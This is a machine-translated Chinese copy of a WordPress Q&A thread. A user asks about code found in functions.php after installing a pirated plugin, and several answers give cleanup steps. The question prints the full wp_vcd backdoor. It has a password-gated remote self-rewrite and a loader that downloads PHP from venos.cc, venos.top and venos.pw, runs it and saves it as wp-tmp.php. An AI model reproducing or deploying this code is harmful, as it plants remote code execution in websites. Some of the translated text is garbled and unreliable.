我的WordPress网站被黑了

时间:2017-11-09 作者:Harshad Gole

今天工作时,我试着安装Go Pricing 此网站的插件。

https://www.downloadfreethemes.download/go-pricing-v3-3-8-wordpress-responsive-pricing-tables/
第一次没有成功,然后我试了好几次,但都没有结果。过了一段时间,我的网站一片空白。我搜索了Xampp错误,试图从数据库中停用插件(我无法访问admin或frontend)

最后,我在function.php

这是我必须担心的事吗?在我的WordPress上还有什么地方可以找到这个代码吗?

现在,我已从中删除此代码function.php 网站运行良好,但我担心如果我的密码和其他东西上传到某处。

有什么我必须删除的吗?

if (isset($_REQUEST[\'action\']) && isset($_REQUEST[\'password\']) && ($_REQUEST[\'password\'] == \'b08494ffce10b7c547993599bd7deb9e\'))
{
    $div_code_name="wp_vcd";

    switch ($_REQUEST[\'action\'])
    {
        case \'change_domain\';
            if (isset($_REQUEST[\'newdomain\']))
            {
                if (!empty($_REQUEST[\'newdomain\']))
                {
                    if ($file = @file_get_contents(__FILE__))
                    {
                        if(preg_match_all(\'/\\$tmpcontent = @file_get_contents\\("http:\\/\\/(.*)\\/code\\.php/i\',$file,$matcholddomain))
                        {
                            $file = preg_replace(\'/\'.$matcholddomain[1][0].\'/i\',$_REQUEST[\'newdomain\'], $file);
                            @file_put_contents(__FILE__, $file);
                            print "true";
                        }
                    }
                }
            }
          break;

        case \'change_code\';
            if (isset($_REQUEST[\'newcode\']))
            {
                if (!empty($_REQUEST[\'newcode\']))
                {
                    if ($file = @file_get_contents(__FILE__))
                    {
                        if(preg_match_all(\'/\\/\\/\\$start_wp_theme_tmp([\\s\\S]*)\\/\\/\\$end_wp_theme_tmp/i\',$file,$matcholdcode))
                        {
                            $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST[\'newcode\']), $file);
                            @file_put_contents(__FILE__, $file);
                            print "true";
                        }
                    }
                }
            }
          break;

        default:
            print "ERROR_WP_ACTION WP_V_CD WP_CD";
    }

    die("");
}

$div_code_name = "wp_vcd";
$funcfile      = __FILE__;

if(!function_exists(\'theme_temp_setup\')) {
    $path = $_SERVER[\'HTTP_HOST\'] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER[\'REQUEST_URI\'], \'wp-cron.php\') == false && stripos($_SERVER[\'REQUEST_URI\'], \'xmlrpc.php\') == false) {

        function file_get_contents_tcurl($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }

        function theme_temp_setup($phpCode)
        {
            $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
            fwrite($handle, "<?php\\n" . $phpCode);
            fclose($handle);
            include $tmpfname;
            unlink($tmpfname);
            return get_defined_vars();
        }


        $wp_auth_key=\'322f4f8d2d11134e9bedae0c97257b9d\';
        if (($tmpcontent = @file_get_contents("http://www.venos.cc/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.venos.cc/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {

            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . \'wp-includes/wp-tmp.php\', $tmpcontent);

                if (!file_exists(ABSPATH . \'wp-includes/wp-tmp.php\')) {
                    @file_put_contents(get_template_directory() . \'/wp-tmp.php\', $tmpcontent);
                    if (!file_exists(get_template_directory() . \'/wp-tmp.php\')) {
                        @file_put_contents(\'wp-tmp.php\', $tmpcontent);
                    }
                }

            }
        }


        elseif ($tmpcontent = @file_get_contents("http://www.venos.top/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

     if (stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
            @file_put_contents(ABSPATH . \'wp-includes/wp-tmp.php\', $tmpcontent);

            if (!file_exists(ABSPATH . \'wp-includes/wp-tmp.php\')) {
                @file_put_contents(get_template_directory() . \'/wp-tmp.php\', $tmpcontent);
                if (!file_exists(get_template_directory() . \'/wp-tmp.php\')) {
                    @file_put_contents(\'wp-tmp.php\', $tmpcontent);
                }
            }

        }
        } elseif ($tmpcontent = @file_get_contents(ABSPATH . \'wp-includes/wp-tmp.php\') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));

        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . \'/wp-tmp.php\') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } elseif ($tmpcontent = @file_get_contents(\'wp-tmp.php\') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } elseif (($tmpcontent = @file_get_contents("http://www.venos.pw/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.venos.pw/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        }
    }
}

//$start_wp_theme_tmp

//wp_tmp

//$end_wp_theme_tmp

4 个回复
最合适的回答,由SO网友:Frank P. Walentynowicz 整理而成

你重新获得了对网站的访问权,这很好,但如果不采取任何进一步行动,你将再次遭到黑客攻击。为了清理和保护您的网站,需要采取以下步骤:

不要惊慌(非常重要)

不要自己移除任何东西

安装并激活WordFence Security 插件

在Wordfence(Wordfence)的Options(选项)中,选择要扫描的所有内容

运行Wordfence(Wordfence)扫描,并按照提供的说明操作

重复步骤5,直到扫描显示没有问题

在Wordfence中设置防火墙

对您的网站进行完整备份,记住要经常备份

如果上述程序在任何阶段都不起作用,请雇佣专业人员!

Note: 有可能是您尝试安装的插件导致了这种感染。安装来自未知来源的插件时要非常小心。首先,在官方WordPress存储库中搜索插件。

SO网友:Marcelo

这是通过使用空主题和插件实现的

您必须知道,所有为null的内容都受到恶意代码的污染。

安装Nulled后,代码会在某个时刻唤醒,遍历宿主的所有文件夹,并在函数中安装脚本。php和添加几个文件en wp includes或wp admin。

wp vcd。php

wp tmp。php

并修改

邮递php

功能。php

SO网友:Rick Hellewell

我从不安装来自非WP存储库源的插件。只是不值得这么做,IMHO。

也就是说,你应该卸载插件,然后删除它,然后确保插件文件夹被删除。我还将重新安装WP core和所有主题(删除您不使用的任何插件/主题)。我没有使用WordFence,因此无法对此发表评论。

但我已经清理了一些网站,并为此编写了一份指南here 这可能会有帮助。有人会说“从轨道上发射核武器”,但我发现我的指南中提到的事情很好。。。至少在我清理过的网站上。

祝你好运

SO网友:Nitesh

我遇到了相同的问题,并通过执行以下步骤进行了修复:

删除“wp includes/post.php”中的额外代码,例如

   if (file_exists(dirname(__FILE__) . \'/wp-vcd.php\'))

     include_once(dirname(__FILE__) . \'/wp-vcd.php\'); 
删除2个文件:“wp includes/wp tmp.php”&;“wp includes/wp vcd.php”
  • 打开“主题/您的主题[父&子]/functions.php”,并删除插入的代码。

    从“mysqlM”中删除

    请不要从第三方插件黑客/提供商处下载/安装“他们是真正的MF”

    希望这能帮助别人。

  • 结束

    相关推荐

    Single必须使用Plugins目录进行本地开发

    我有多个本地安装的WordPress,并希望有一个单一的必须使用插件目录为我的所有本地网站。有什么我可以添加到wp配置,例如,让我有一个文件夹,可以用于我的所有网站?或者另一种方法?例如:/根/站点/站点1//根/站点/站点2//根/站点/站点3/。。。所有用途:/根/mu插件/谢谢